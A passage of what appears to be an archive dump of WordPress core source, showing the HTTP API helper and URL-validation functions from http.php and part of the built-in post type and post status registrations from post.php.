Request arguments. Default empty array. * @return array|WP_Error The response or WP_Error on failure. */ function wp_remote_get( $url, $args = array() ) { $http = _wp_http_get_object(); return $http->get( $url, $args ); } /** * Performs an HTTP request using the POST method and returns its response. * * @since 2.7.0 * * @see wp_remote_request() For more information on the response array format. * @see WP_Http::request() For default arguments information. * * @param string $url URL to retrieve. * @param array $args Optional. Request arguments. Default empty array. * @return array|WP_Error The response or WP_Error on failure. */ function wp_remote_post( $url, $args = array() ) { $http = _wp_http_get_object(); return $http->post( $url, $args ); } /** * Performs an HTTP request using the HEAD method and returns its response. * * @since 2.7.0 * * @see wp_remote_request() For more information on the response array format. * @see WP_Http::request() For default arguments information. * * @param string $url URL to retrieve. * @param array $args Optional. Request arguments. Default empty array. * @return array|WP_Error The response or WP_Error on failure. */ function wp_remote_head( $url, $args = array() ) { $http = _wp_http_get_object(); return $http->head( $url, $args ); } /** * Retrieve only the headers from the raw response. * * @since 2.7.0 * @since 4.6.0 Return value changed from an array to an Requests_Utility_CaseInsensitiveDictionary instance. * * @see \Requests_Utility_CaseInsensitiveDictionary * * @param array|WP_Error $response HTTP response. * @return array|\Requests_Utility_CaseInsensitiveDictionary The headers of the response. Empty array if incorrect parameter given. */ function wp_remote_retrieve_headers( $response ) { if ( is_wp_error( $response ) || ! isset( $response['headers'] ) ) { return array(); } return $response['headers']; } /** * Retrieve a single header by name from the raw response. * * @since 2.7.0 * * @param array|WP_Error $response HTTP response. * @param string $header Header name to retrieve value from. * @return array|string The header(s) value(s). Array if multiple headers with the same name are retrieved. * Empty string if incorrect parameter given, or if the header doesn't exist. */ function wp_remote_retrieve_header( $response, $header ) { if ( is_wp_error( $response ) || ! isset( $response['headers'] ) ) { return ''; } if ( isset( $response['headers'][ $header ] ) ) { return $response['headers'][ $header ]; } return ''; } /** * Retrieve only the response code from the raw response. * * Will return an empty string if incorrect parameter value is given. * * @since 2.7.0 * * @param array|WP_Error $response HTTP response. * @return int|string The response code as an integer. Empty string on incorrect parameter given. */ function wp_remote_retrieve_response_code( $response ) { if ( is_wp_error( $response ) || ! isset( $response['response'] ) || ! is_array( $response['response'] ) ) { return ''; } return $response['response']['code']; } /** * Retrieve only the response message from the raw response. * * Will return an empty string if incorrect parameter value is given. * * @since 2.7.0 * * @param array|WP_Error $response HTTP response. * @return string The response message. Empty string on incorrect parameter given. */ function wp_remote_retrieve_response_message( $response ) { if ( is_wp_error( $response ) || ! isset( $response['response'] ) || ! is_array( $response['response'] ) ) { return ''; } return $response['response']['message']; } /** * Retrieve only the body from the raw response. * * @since 2.7.0 * * @param array|WP_Error $response HTTP response. * @return string The body of the response. Empty string if no body or incorrect parameter given. */ function wp_remote_retrieve_body( $response ) { if ( is_wp_error( $response ) || ! isset( $response['body'] ) ) { return ''; } return $response['body']; } /** * Retrieve only the cookies from the raw response. * * @since 4.4.0 * * @param array|WP_Error $response HTTP response. * @return WP_Http_Cookie[] An array of `WP_Http_Cookie` objects from the response. Empty array if there are none, or the response is a WP_Error. */ function wp_remote_retrieve_cookies( $response ) { if ( is_wp_error( $response ) || empty( $response['cookies'] ) ) { return array(); } return $response['cookies']; } /** * Retrieve a single cookie by name from the raw response. * * @since 4.4.0 * * @param array|WP_Error $response HTTP response. * @param string $name The name of the cookie to retrieve. * @return WP_Http_Cookie|string The `WP_Http_Cookie` object. Empty string if the cookie isn't present in the response. */ function wp_remote_retrieve_cookie( $response, $name ) { $cookies = wp_remote_retrieve_cookies( $response ); if ( empty( $cookies ) ) { return ''; } foreach ( $cookies as $cookie ) { if ( $cookie->name === $name ) { return $cookie; } } return ''; } /** * Retrieve a single cookie's value by name from the raw response. * * @since 4.4.0 * * @param array|WP_Error $response HTTP response. * @param string $name The name of the cookie to retrieve. * @return string The value of the cookie. Empty string if the cookie isn't present in the response. */ function wp_remote_retrieve_cookie_value( $response, $name ) { $cookie = wp_remote_retrieve_cookie( $response, $name ); if ( ! is_a( $cookie, 'WP_Http_Cookie' ) ) { return ''; } return $cookie->value; } /** * Determines if there is an HTTP Transport that can process this request. * * @since 3.2.0 * * @param array $capabilities Array of capabilities to test or a wp_remote_request() $args array. * @param string $url Optional. If given, will check if the URL requires SSL and adds * that requirement to the capabilities array. * * @return bool */ function wp_http_supports( $capabilities = array(), $url = null ) { $http = _wp_http_get_object(); $capabilities = wp_parse_args( $capabilities ); $count = count( $capabilities ); // If we have a numeric $capabilities array, spoof a wp_remote_request() associative $args array. if ( $count && count( array_filter( array_keys( $capabilities ), 'is_numeric' ) ) == $count ) { $capabilities = array_combine( array_values( $capabilities ), array_fill( 0, $count, true ) ); } if ( $url && ! isset( $capabilities['ssl'] ) ) { $scheme = parse_url( $url, PHP_URL_SCHEME ); if ( 'https' === $scheme || 'ssl' === $scheme ) { $capabilities['ssl'] = true; } } return (bool) $http->_get_first_available_transport( $capabilities ); } /** * Get the HTTP Origin of the current request. * * @since 3.4.0 * * @return string URL of the origin. Empty string if no origin. */ function get_http_origin() { $origin = ''; if ( ! empty( $_SERVER['HTTP_ORIGIN'] ) ) { $origin = $_SERVER['HTTP_ORIGIN']; } /** * Change the origin of an HTTP request. * * @since 3.4.0 * * @param string $origin The original origin for the request. */ return apply_filters( 'http_origin', $origin ); } /** * Retrieve list of allowed HTTP origins. * * @since 3.4.0 * * @return string[] Array of origin URLs. */ function get_allowed_http_origins() { $admin_origin = parse_url( admin_url() ); $home_origin = parse_url( home_url() ); // @todo Preserve port? $allowed_origins = array_unique( array( 'http://' . $admin_origin['host'], 'https://' . $admin_origin['host'], 'http://' . $home_origin['host'], 'https://' . $home_origin['host'], ) ); /** * Change the origin types allowed for HTTP requests. * * @since 3.4.0 * * @param string[] $allowed_origins { * Array of default allowed HTTP origins. * * @type string $0 Non-secure URL for admin origin. * @type string $1 Secure URL for admin origin. * @type string $2 Non-secure URL for home origin. * @type string $3 Secure URL for home origin. * } */ return apply_filters( 'allowed_http_origins', $allowed_origins ); } /** * Determines if the HTTP origin is an authorized one. * * @since 3.4.0 * * @param null|string $origin Origin URL. If not provided, the value of get_http_origin() is used. * @return string Origin URL if allowed, empty string if not. */ function is_allowed_http_origin( $origin = null ) { $origin_arg = $origin; if ( null === $origin ) { $origin = get_http_origin(); } if ( $origin && ! in_array( $origin, get_allowed_http_origins(), true ) ) { $origin = ''; } /** * Change the allowed HTTP origin result. * * @since 3.4.0 * * @param string $origin Origin URL if allowed, empty string if not. * @param string $origin_arg Original origin string passed into is_allowed_http_origin function. */ return apply_filters( 'allowed_http_origin', $origin, $origin_arg ); } /** * Send Access-Control-Allow-Origin and related headers if the current request * is from an allowed origin. * * If the request is an OPTIONS request, the script exits with either access * control headers sent, or a 403 response if the origin is not allowed. For * other request methods, you will receive a return value. * * @since 3.4.0 * * @return string|false Returns the origin URL if headers are sent. Returns false * if headers are not sent. */ function send_origin_headers() { $origin = get_http_origin(); if ( is_allowed_http_origin( $origin ) ) { header( 'Access-Control-Allow-Origin: ' . $origin ); header( 'Access-Control-Allow-Credentials: true' ); if ( 'OPTIONS' === $_SERVER['REQUEST_METHOD'] ) { exit; } return $origin; } if ( 'OPTIONS' === $_SERVER['REQUEST_METHOD'] ) { status_header( 403 ); exit; } return false; } /** * Validate a URL for safe use in the HTTP API. * * @since 3.5.2 * * @param string $url Request URL. * @return string|false URL or false on failure. */ function wp_http_validate_url( $url ) { if ( ! is_string( $url ) || '' === $url || is_numeric( $url ) ) { return false; } $original_url = $url; $url = wp_kses_bad_protocol( $url, array( 'http', 'https' ) ); if ( ! $url || strtolower( $url ) !== strtolower( $original_url ) ) { return false; } $parsed_url = parse_url( $url ); if ( ! $parsed_url || empty( $parsed_url['host'] ) ) { return false; } if ( isset( $parsed_url['user'] ) || isset( $parsed_url['pass'] ) ) { return false; } if ( false !== strpbrk( $parsed_url['host'], ':#?[]' ) ) { return false; } $parsed_home = parse_url( get_option( 'home' ) ); $same_host = isset( $parsed_home['host'] ) && strtolower( $parsed_home['host'] ) === strtolower( $parsed_url['host'] ); $host = trim( $parsed_url['host'], '.' ); if ( ! $same_host ) { if ( preg_match( '#^(([1-9]?\d|1\d\d|25[0-5]|2[0-4]\d)\.){3}([1-9]?\d|1\d\d|25[0-5]|2[0-4]\d)$#', $host ) ) { $ip = $host; } else { $ip = gethostbyname( $host ); if ( $ip === $host ) { // Error condition for gethostbyname(). return false; } } if ( $ip ) { $parts = array_map( 'intval', explode( '.', $ip ) ); if ( 127 === $parts[0] || 10 === $parts[0] || 0 === $parts[0] || ( 172 === $parts[0] && 16 <= $parts[1] && 31 >= $parts[1] ) || ( 192 === $parts[0] && 168 === $parts[1] ) ) { // If host appears local, reject unless specifically allowed. /** * Check if HTTP request is external or not. * * Allows to change and allow external requests for the HTTP request. * * @since 3.6.0 * * @param bool $external Whether HTTP request is external or not. * @param string $host Host name of the requested URL. * @param string $url Requested URL. */ if ( ! apply_filters( 'http_request_host_is_external', false, $host, $url ) ) { return false; } } } } if ( empty( $parsed_url['port'] ) ) { return $url; } $port = $parsed_url['port']; /** * Controls the list of ports considered safe in HTTP API. * * Allows to change and allow external requests for the HTTP request. * * @since 5.9.0 * * @param array $allowed_ports Array of integers for valid ports. * @param string $host Host name of the requested URL. * @param string $url Requested URL. */ $allowed_ports = apply_filters( 'http_allowed_safe_ports', array( 80, 443, 8080 ), $host, $url ); if ( is_array( $allowed_ports ) && in_array( $port, $allowed_ports, true ) ) { return $url; } if ( $parsed_home && $same_host && isset( $parsed_home['port'] ) && $parsed_home['port'] === $port ) { return $url; } return false; } /** * Mark allowed redirect hosts safe for HTTP requests as well. * * Attached to the {@see 'http_request_host_is_external'} filter. * * @since 3.6.0 * * @param bool $is_external * @param string $host * @return bool */ function allowed_http_request_hosts( $is_external, $host ) { if ( ! $is_external && wp_validate_redirect( 'http://' . $host ) ) { $is_external = true; } return $is_external; } /** * Adds any domain in a multisite installation for safe HTTP requests to the * allowed list. * * Attached to the {@see 'http_request_host_is_external'} filter. * * @since 3.6.0 * * @global wpdb $wpdb WordPress database abstraction object. * * @param bool $is_external * @param string $host * @return bool */ function ms_allowed_http_request_hosts( $is_external, $host ) { global $wpdb; static $queried = array(); if ( $is_external ) { return $is_external; } if ( get_network()->domain === $host ) { return true; } if ( isset( $queried[ $host ] ) ) { return $queried[ $host ]; } $queried[ $host ] = (bool) $wpdb->get_var( $wpdb->prepare( "SELECT domain FROM $wpdb->blogs WHERE domain = %s LIMIT 1", $host ) ); return $queried[ $host ]; } /** * A wrapper for PHP's parse_url() function that handles consistency in the return values * across PHP versions. * * PHP 5.4.7 expanded parse_url()'s ability to handle non-absolute URLs, including * schemeless and relative URLs with "://" in the path. This function works around * those limitations providing a standard output on PHP 5.2~5.4+. * * Secondly, across various PHP versions, schemeless URLs containing a ":" in the query * are being handled inconsistently. This function works around those differences as well. * * @since 4.4.0 * @since 4.7.0 The `$component` parameter was added for parity with PHP's `parse_url()`. * * @link https://www.php.net/manual/en/function.parse-url.php * * @param string $url The URL to parse. * @param int $component The specific component to retrieve. Use one of the PHP * predefined constants to specify which one. * Defaults to -1 (= return all parts as an array). * @return mixed False on parse failure; Array of URL components on success; * When a specific component has been requested: null if the component * doesn't exist in the given URL; a string or - in the case of * PHP_URL_PORT - integer when it does. See parse_url()'s return values. */ function wp_parse_url( $url, $component = -1 ) { $to_unset = array(); $url = (string) $url; if ( '//' === substr( $url, 0, 2 ) ) { $to_unset[] = 'scheme'; $url = 'placeholder:' . $url; } elseif ( '/' === substr( $url, 0, 1 ) ) { $to_unset[] = 'scheme'; $to_unset[] = 'host'; $url = 'placeholder://placeholder' . $url; } $parts = parse_url( $url ); if ( false === $parts ) { // Parsing failure. return $parts; } // Remove the placeholder values. foreach ( $to_unset as $key ) { unset( $parts[ $key ] ); } return _get_component_from_parsed_url_array( $parts, $component ); } /** * Retrieve a specific component from a parsed URL array. * * @internal * * @since 4.7.0 * @access private * * @link https://www.php.net/manual/en/function.parse-url.php * * @param array|false $url_parts The parsed URL. Can be false if the URL failed to parse. * @param int $component The specific component to retrieve. Use one of the PHP * predefined constants to specify which one. * Defaults to -1 (= return all parts as an array). * @return mixed False on parse failure; Array of URL components on success; * When a specific component has been requested: null if the component * doesn't exist in the given URL; a string or - in the case of * PHP_URL_PORT - integer when it does. See parse_url()'s return values. */ function _get_component_from_parsed_url_array( $url_parts, $component = -1 ) { if ( -1 === $component ) { return $url_parts; } $key = _wp_translate_php_url_constant_to_key( $component ); if ( false !== $key && is_array( $url_parts ) && isset( $url_parts[ $key ] ) ) { return $url_parts[ $key ]; } else { return null; } } /** * Translate a PHP_URL_* constant to the named array keys PHP uses. * * @internal * * @since 4.7.0 * @access private * * @link https://www.php.net/manual/en/url.constants.php * * @param int $constant PHP_URL_* constant. * @return string|false The named key or false. */ function _wp_translate_php_url_constant_to_key( $constant ) { $translation = array( PHP_URL_SCHEME => 'scheme', PHP_URL_HOST => 'host', PHP_URL_PORT => 'port', PHP_URL_USER => 'user', PHP_URL_PASS => 'pass', PHP_URL_PATH => 'path', PHP_URL_QUERY => 'query', PHP_URL_FRAGMENT => 'fragment', ); if ( isset( $translation[ $constant ] ) ) { return $translation[ $constant ]; } else { return false; } } post.php000064400001023767147177035010006267 0ustar00 array( 'name_admin_bar' => _x( 'Post', 'add new from admin bar' ), ), 'public' => true, '_builtin' => true, /* internal use only. don't use this when registering your own post type. */ '_edit_link' => 'post.php?post=%d', /* internal use only. don't use this when registering your own post type. */ 'capability_type' => 'post', 'map_meta_cap' => true, 'menu_position' => 5, 'menu_icon' => 'dashicons-admin-post', 'hierarchical' => false, 'rewrite' => false, 'query_var' => false, 'delete_with_user' => true, 'supports' => array( 'title', 'editor', 'author', 'thumbnail', 'excerpt', 'trackbacks', 'custom-fields', 'comments', 'revisions', 'post-formats' ), 'show_in_rest' => true, 'rest_base' => 'posts', 'rest_controller_class' => 'WP_REST_Posts_Controller', ) ); register_post_type( 'page', array( 'labels' => array( 'name_admin_bar' => _x( 'Page', 'add new from admin bar' ), ), 'public' => true, 'publicly_queryable' => false, '_builtin' => true, /* internal use only. don't use this when registering your own post type. */ '_edit_link' => 'post.php?post=%d', /* internal use only. don't use this when registering your own post type. */ 'capability_type' => 'page', 'map_meta_cap' => true, 'menu_position' => 20, 'menu_icon' => 'dashicons-admin-page', 'hierarchical' => true, 'rewrite' => false, 'query_var' => false, 'delete_with_user' => true, 'supports' => array( 'title', 'editor', 'author', 'thumbnail', 'page-attributes', 'custom-fields', 'comments', 'revisions' ), 'show_in_rest' => true, 'rest_base' => 'pages', 'rest_controller_class' => 'WP_REST_Posts_Controller', ) ); register_post_type( 'attachment', array( 'labels' => array( 'name' => _x( 'Media', 'post type general name' ), 'name_admin_bar' => _x( 'Media', 'add new from admin bar' ), 'add_new' => _x( 'Add New', 'add new media' ), 'edit_item' => __( 'Edit Media' ), 'view_item' => __( 'View Attachment Page' ), 'attributes' => __( 'Attachment Attributes' ), ), 'public' => true, 'show_ui' => true, '_builtin' => true, /* internal use only. don't use this when registering your own post type. */ '_edit_link' => 'post.php?post=%d', /* internal use only. don't use this when registering your own post type. */ 'capability_type' => 'post', 'capabilities' => array( 'create_posts' => 'upload_files', ), 'map_meta_cap' => true, 'menu_icon' => 'dashicons-admin-media', 'hierarchical' => false, 'rewrite' => false, 'query_var' => false, 'show_in_nav_menus' => false, 'delete_with_user' => true, 'supports' => array( 'title', 'author', 'comments' ), 'show_in_rest' => true, 'rest_base' => 'media', 'rest_controller_class' => 'WP_REST_Attachments_Controller', ) ); add_post_type_support( 'attachment:audio', 'thumbnail' ); add_post_type_support( 'attachment:video', 'thumbnail' ); register_post_type( 'revision', array( 'labels' => array( 'name' => __( 'Revisions' ), 'singular_name' => __( 'Revision' ), ), 'public' => false, '_builtin' => true, /* internal use only. don't use this when registering your own post type. */ '_edit_link' => 'revision.php?revision=%d', /* internal use only. don't use this when registering your own post type. */ 'capability_type' => 'post', 'map_meta_cap' => true, 'hierarchical' => false, 'rewrite' => false, 'query_var' => false, 'can_export' => false, 'delete_with_user' => true, 'supports' => array( 'author' ), ) ); register_post_type( 'nav_menu_item', array( 'labels' => array( 'name' => __( 'Navigation Menu Items' ), 'singular_name' => __( 'Navigation Menu Item' ), ), 'public' => false, '_builtin' => true, /* internal use only. don't use this when registering your own post type. */ 'hierarchical' => false, 'rewrite' => false, 'delete_with_user' => false, 'query_var' => false, 'map_meta_cap' => true, 'capability_type' => array( 'edit_theme_options', 'edit_theme_options' ), 'capabilities' => array( // Meta Capabilities. 'edit_post' => 'edit_post', 'read_post' => 'read_post', 'delete_post' => 'delete_post', // Primitive Capabilities. 'edit_posts' => 'edit_theme_options', 'edit_others_posts' => 'edit_theme_options', 'delete_posts' => 'edit_theme_options', 'publish_posts' => 'edit_theme_options', 'read_private_posts' => 'edit_theme_options', 'read' => 'read', 'delete_private_posts' => 'edit_theme_options', 'delete_published_posts' => 'edit_theme_options', 'delete_others_posts' => 'edit_theme_options', 'edit_private_posts' => 'edit_theme_options', 'edit_published_posts' => 'edit_theme_options', ), 'show_in_rest' => true, 'rest_base' => 'menu-items', 'rest_controller_class' => 'WP_REST_Menu_Items_Controller', ) ); register_post_type( 'custom_css', array( 'labels' => array( 'name' => __( 'Custom CSS' ), 'singular_name' => __( 'Custom CSS' ), ), 'public' => false, 'hierarchical' => false, 'rewrite' => false, 'query_var' => false, 'delete_with_user' => false, 'can_export' => true, '_builtin' => true, /* internal use only. don't use this when registering your own post type. */ 'supports' => array( 'title', 'revisions' ), 'capabilities' => array( 'delete_posts' => 'edit_theme_options', 'delete_post' => 'edit_theme_options', 'delete_published_posts' => 'edit_theme_options', 'delete_private_posts' => 'edit_theme_options', 'delete_others_posts' => 'edit_theme_options', 'edit_post' => 'edit_css', 'edit_posts' => 'edit_css', 'edit_others_posts' => 'edit_css', 'edit_published_posts' => 'edit_css', 'read_post' => 'read', 'read_private_posts' => 'read', 'publish_posts' => 'edit_theme_options', ), ) ); register_post_type( 'customize_changeset', array( 'labels' => array( 'name' => _x( 'Changesets', 'post type general name' ), 'singular_name' => _x( 'Changeset', 'post type singular name' ), 'add_new' => _x( 'Add New', 'Customize Changeset' ), 'add_new_item' => __( 'Add New Changeset' ), 'new_item' => __( 'New Changeset' ), 'edit_item' => __( 'Edit Changeset' ), 'view_item' => __( 'View Changeset' ), 'all_items' => __( 'All Changesets' ), 'search_items' => __( 'Search Changesets' ), 'not_found' => __( 'No changesets found.' ), 'not_found_in_trash' => __( 'No changesets found in Trash.' ), ), 'public' => false, '_builtin' => true, /* internal use only. don't use this when registering your own post type. */ 'map_meta_cap' => true, 'hierarchical' => false, 'rewrite' => false, 'query_var' => false, 'can_export' => false, 'delete_with_user' => false, 'supports' => array( 'title', 'author' ), 'capability_type' => 'customize_changeset', 'capabilities' => array( 'create_posts' => 'customize', 'delete_others_posts' => 'customize', 'delete_post' => 'customize', 'delete_posts' => 'customize', 'delete_private_posts' => 'customize', 'delete_published_posts' => 'customize', 'edit_others_posts' => 'customize', 'edit_post' => 'customize', 'edit_posts' => 'customize', 'edit_private_posts' => 'customize', 'edit_published_posts' => 'do_not_allow', 'publish_posts' => 'customize', 'read' => 'read', 'read_post' => 'customize', 'read_private_posts' => 'customize', ), ) ); register_post_type( 'oembed_cache', array( 'labels' => array( 'name' => __( 'oEmbed Responses' ), 'singular_name' => __( 'oEmbed Response' ), ), 'public' => false, 'hierarchical' => false, 'rewrite' => false, 'query_var' => false, 'delete_with_user' => false, 'can_export' => false, '_builtin' => true, /* internal use only. don't use this when registering your own post type. */ 'supports' => array(), ) ); register_post_type( 'user_request', array( 'labels' => array( 'name' => __( 'User Requests' ), 'singular_name' => __( 'User Request' ), ), 'public' => false, '_builtin' => true, /* internal use only. don't use this when registering your own post type. */ 'hierarchical' => false, 'rewrite' => false, 'query_var' => false, 'can_export' => false, 'delete_with_user' => false, 'supports' => array(), ) ); register_post_type( 'wp_block', array( 'labels' => array( 'name' => _x( 'Reusable blocks', 'post type general name' ), 'singular_name' => _x( 'Reusable block', 'post type singular name' ), 'add_new' => _x( 'Add New', 'Reusable block' ), 'add_new_item' => __( 'Add new Reusable block' ), 'new_item' => __( 'New Reusable block' ), 'edit_item' => __( 'Edit Reusable block' ), 'view_item' => __( 'View Reusable block' ), 'all_items' => __( 'All Reusable blocks' ), 'search_items' => __( 'Search Reusable blocks' ), 'not_found' => __( 'No reusable blocks found.' ), 'not_found_in_trash' => __( 'No reusable blocks found in Trash.' ), 'filter_items_list' => __( 'Filter reusable blocks list' ), 'items_list_navigation' => __( 'Reusable blocks list navigation' ), 'items_list' => __( 'Reusable blocks list' ), 'item_published' => __( 'Reusable block published.' ), 'item_published_privately' => __( 'Reusable block published privately.' ), 'item_reverted_to_draft' => __( 'Reusable block reverted to draft.' ), 'item_scheduled' => __( 'Reusable block scheduled.' ), 'item_updated' => __( 'Reusable block updated.' ), ), 'public' => false, '_builtin' => true, /* internal use only. don't use this when registering your own post type. */ 'show_ui' => true, 'show_in_menu' => false, 'rewrite' => false, 'show_in_rest' => true, 'rest_base' => 'blocks', 'rest_controller_class' => 'WP_REST_Blocks_Controller', 'capability_type' => 'block', 'capabilities' => array( // You need to be able to edit posts, in order to read blocks in their raw form. 'read' => 'edit_posts', // You need to be able to publish posts, in order to create blocks. 'create_posts' => 'publish_posts', 'edit_posts' => 'edit_posts', 'edit_published_posts' => 'edit_published_posts', 'delete_published_posts' => 'delete_published_posts', 'edit_others_posts' => 'edit_others_posts', 'delete_others_posts' => 'delete_others_posts', ), 'map_meta_cap' => true, 'supports' => array( 'title', 'editor', 'revisions', ), ) ); register_post_type( 'wp_template', array( 'labels' => array( 'name' => _x( 'Templates', 'post type general name' ), 'singular_name' => _x( 'Template', 'post type singular name' ), 'add_new' => _x( 'Add New', 'Template' ), 'add_new_item' => __( 'Add New Template' ), 'new_item' => __( 'New Template' ), 'edit_item' => __( 'Edit Template' ), 'view_item' => __( 'View Template' ), 'all_items' => __( 'Templates' ), 'search_items' => __( 'Search Templates' ), 'parent_item_colon' => __( 'Parent Template:' ), 'not_found' => __( 'No templates found.' ), 'not_found_in_trash' => __( 'No templates found in Trash.' ), 'archives' => __( 'Template archives' ), 'insert_into_item' => __( 'Insert into template' ), 'uploaded_to_this_item' => __( 'Uploaded to this template' ), 'filter_items_list' => __( 'Filter templates list' ), 'items_list_navigation' => __( 'Templates list navigation' ), 'items_list' => __( 'Templates list' ), ), 'description' => __( 'Templates to include in your theme.' ), 'public' => false, '_builtin' => true, /* internal use only. don't use this when registering your own post type. */ 'has_archive' => false, 'show_ui' => false, 'show_in_menu' => false, 'show_in_rest' => true, 'rewrite' => false, 'rest_base' => 'templates', 'rest_controller_class' => 'WP_REST_Templates_Controller', 'capability_type' => array( 'template', 'templates' ), 'capabilities' => array( 'create_posts' => 'edit_theme_options', 'delete_posts' => 'edit_theme_options', 'delete_others_posts' => 'edit_theme_options', 'delete_private_posts' => 'edit_theme_options', 'delete_published_posts' => 'edit_theme_options', 'edit_posts' => 'edit_theme_options', 'edit_others_posts' => 'edit_theme_options', 'edit_private_posts' => 'edit_theme_options', 'edit_published_posts' => 'edit_theme_options', 'publish_posts' => 'edit_theme_options', 'read' => 'edit_theme_options', 'read_private_posts' => 'edit_theme_options', ), 'map_meta_cap' => true, 'supports' => array( 'title', 'slug', 'excerpt', 'editor', 'revisions', 'author', ), ) ); register_post_type( 'wp_template_part', array( 'labels' => array( 'name' => _x( 'Template Parts', 'post type general name' ), 'singular_name' => _x( 'Template Part', 'post type singular name' ), 'add_new' => _x( 'Add New', 'Template Part' ), 'add_new_item' => __( 'Add New Template Part' ), 'new_item' => __( 'New Template Part' ), 'edit_item' => __( 'Edit Template Part' ), 'view_item' => __( 'View Template Part' ), 'all_items' => __( 'Template Parts' ), 'search_items' => __( 'Search Template Parts' ), 'parent_item_colon' => __( 'Parent Template Part:' ), 'not_found' => __( 'No template parts found.' ), 'not_found_in_trash' => __( 'No template parts found in Trash.' ), 'archives' => __( 'Template part archives' ), 'insert_into_item' => __( 'Insert into template part' ), 'uploaded_to_this_item' => __( 'Uploaded to this template part' ), 'filter_items_list' => __( 'Filter template parts list' ), 'items_list_navigation' => __( 'Template parts list navigation' ), 'items_list' => __( 'Template parts list' ), ), 'description' => __( 'Template parts to include in your templates.' ), 'public' => false, '_builtin' => true, /* internal use only. don't use this when registering your own post type. */ 'has_archive' => false, 'show_ui' => false, 'show_in_menu' => false, 'show_in_rest' => true, 'rewrite' => false, 'rest_base' => 'template-parts', 'rest_controller_class' => 'WP_REST_Templates_Controller', 'map_meta_cap' => true, 'capabilities' => array( 'create_posts' => 'edit_theme_options', 'delete_posts' => 'edit_theme_options', 'delete_others_posts' => 'edit_theme_options', 'delete_private_posts' => 'edit_theme_options', 'delete_published_posts' => 'edit_theme_options', 'edit_posts' => 'edit_theme_options', 'edit_others_posts' => 'edit_theme_options', 'edit_private_posts' => 'edit_theme_options', 'edit_published_posts' => 'edit_theme_options', 'publish_posts' => 'edit_theme_options', 'read' => 'edit_theme_options', 'read_private_posts' => 'edit_theme_options', ), 'supports' => array( 'title', 'slug', 'excerpt', 'editor', 'revisions', 'author', ), ) ); register_post_type( 'wp_global_styles', array( 'label' => _x( 'Global Styles', 'post type general name' ), 'description' => __( 'Global styles to include in themes.' ), 'public' => false, '_builtin' => true, /* internal use only. don't use this when registering your own post type. */ 'show_ui' => false, 'show_in_rest' => false, 'rewrite' => false, 'capabilities' => array( 'read' => 'edit_theme_options', 'create_posts' => 'edit_theme_options', 'edit_posts' => 'edit_theme_options', 'edit_published_posts' => 'edit_theme_options', 'delete_published_posts' => 'edit_theme_options', 'edit_others_posts' => 'edit_theme_options', 'delete_others_posts' => 'edit_theme_options', ), 'map_meta_cap' => true, 'supports' => array( 'title', 'editor', 'revisions', ), ) ); register_post_type( 'wp_navigation', array( 'labels' => array( 'name' => _x( 'Navigation Menus', 'post type general name' ), 'singular_name' => _x( 'Navigation Menu', 'post type singular name' ), 'add_new' => _x( 'Add New', 'Navigation Menu' ), 'add_new_item' => __( 'Add New Navigation Menu' ), 'new_item' => __( 'New Navigation Menu' ), 'edit_item' => __( 'Edit Navigation Menu' ), 'view_item' => __( 'View Navigation Menu' ), 'all_items' => __( 'Navigation Menus' ), 'search_items' => __( 'Search Navigation Menus' ), 'parent_item_colon' => __( 'Parent Navigation Menu:' ), 'not_found' => __( 'No Navigation Menu found.' ), 'not_found_in_trash' => __( 'No Navigation Menu found in Trash.' ), 'archives' => __( 'Navigation Menu archives' ), 'insert_into_item' => __( 'Insert into Navigation Menu' ), 'uploaded_to_this_item' => __( 'Uploaded to this Navigation Menu' ), 'filter_items_list' => __( 'Filter Navigation Menu list' ), 'items_list_navigation' => __( 'Navigation Menus list navigation' ), 'items_list' => __( 'Navigation Menus list' ), ), 'description' => __( 'Navigation menus that can be inserted into your site.' ), 'public' => false, '_builtin' => true, /* internal use only. don't use this when registering your own post type. */ 'has_archive' => false, 'show_ui' => true, 'show_in_menu' => false, 'show_in_admin_bar' => false, 'show_in_rest' => true, 'rewrite' => false, 'map_meta_cap' => true, 'capabilities' => array( 'edit_others_posts' => 'edit_theme_options', 'delete_posts' => 'edit_theme_options', 'publish_posts' => 'edit_theme_options', 'create_posts' => 'edit_theme_options', 'read_private_posts' => 'edit_theme_options', 'delete_private_posts' => 'edit_theme_options', 'delete_published_posts' => 'edit_theme_options', 'delete_others_posts' => 'edit_theme_options', 'edit_private_posts' => 'edit_theme_options', 'edit_published_posts' => 'edit_theme_options', 'edit_posts' => 'edit_theme_options', ), 'rest_base' => 'navigation', 'rest_controller_class' => 'WP_REST_Posts_Controller', 'supports' => array( 'title', 'editor', 'revisions', ), ) ); register_post_status( 'publish', array( 'label' => _x( 'Published', 'post status' ), 'public' => true, '_builtin' => true, /* internal use only. */ /* translators: %s: Number of published posts. */ 'label_count' => _n_noop( 'Published (%s)', 'Published (%s)' ), ) ); register_post_status( 'future', array( 'label' => _x( 'Scheduled', 'post status' ), 'protected' => true, '_builtin' => true, /* internal use only. */ /* translators: %s: Number of scheduled posts. */ 'label_count' => _n_noop( 'Scheduled (%s)', 'Scheduled (%s)' ), ) ); register_post_status( 'draft', array( 'label' => _x( 'Draft', 'post status' ), 'protected' => true, '_builtin' => true, /* internal use only. */ /* translators: %s: Number of draft posts. */ 'label_count' => _n_noop( 'Draft (%s)', 'Drafts (%s)' ), 'date_floating' => true, ) ); register_post_status( 'pending', array( 'label' => _x( 'Pending', 'post status' ), 'protected' => true, '_builtin' => true, /* internal use only. */ /* translators: %s: Number of pending posts. */ 'label_count' => _n_noop( 'Pending (%s)', 'Pending (%s)' ), 'date_floating' => true, ) ); register_post_status( 'private', array( 'label' => _x( 'Private', 'post status' ), 'private' => true, '_builtin' => true, /* internal use only. */ /* translators: %s: Number of private posts. */ 'label_count' => _n_noop( 'Private (%s)', 'Private (%s)' ), ) ); register_post_status( 'trash', array( 'label' => _x( 'Trash', 'post status' ), 'internal' => true, '_builtin' => true, /* internal use only. */ /* translators: %s: Number of trashed posts. */ 'label_count' => _n_noop( 'Trash (%s)', 'Trash (%s)' ), 'show_in_admin_status_list' => true, ) ); register_post_status( 'auto-draft', array( 'label' => 'auto-draft', 'internal' => true, '_builtin' => true, /* internal use only. */ 'date_floating' => true, ) ); register_post_status( 'inherit', array( 'label' => 'inherit', 'internal' => true, '_builtin' => true, /* internal use only. */ 'exclude_from_search' => false, ) ); register_post_status( 'request-pending', array( 'label' => _x( 'Pending', 'request status' ), 'internal' => true, '_builtin' => true, /* internal use only. */ /* translators: %s: Number of pending requests. */ 'label_count' => _n_noop( 'Pending (%s)', 'Pending (%s)' ), 'exclude_from_search' => false, ) ); register_post_status( 'request-confirmed', array( 'label' => _x( 'Confirmed', 'request 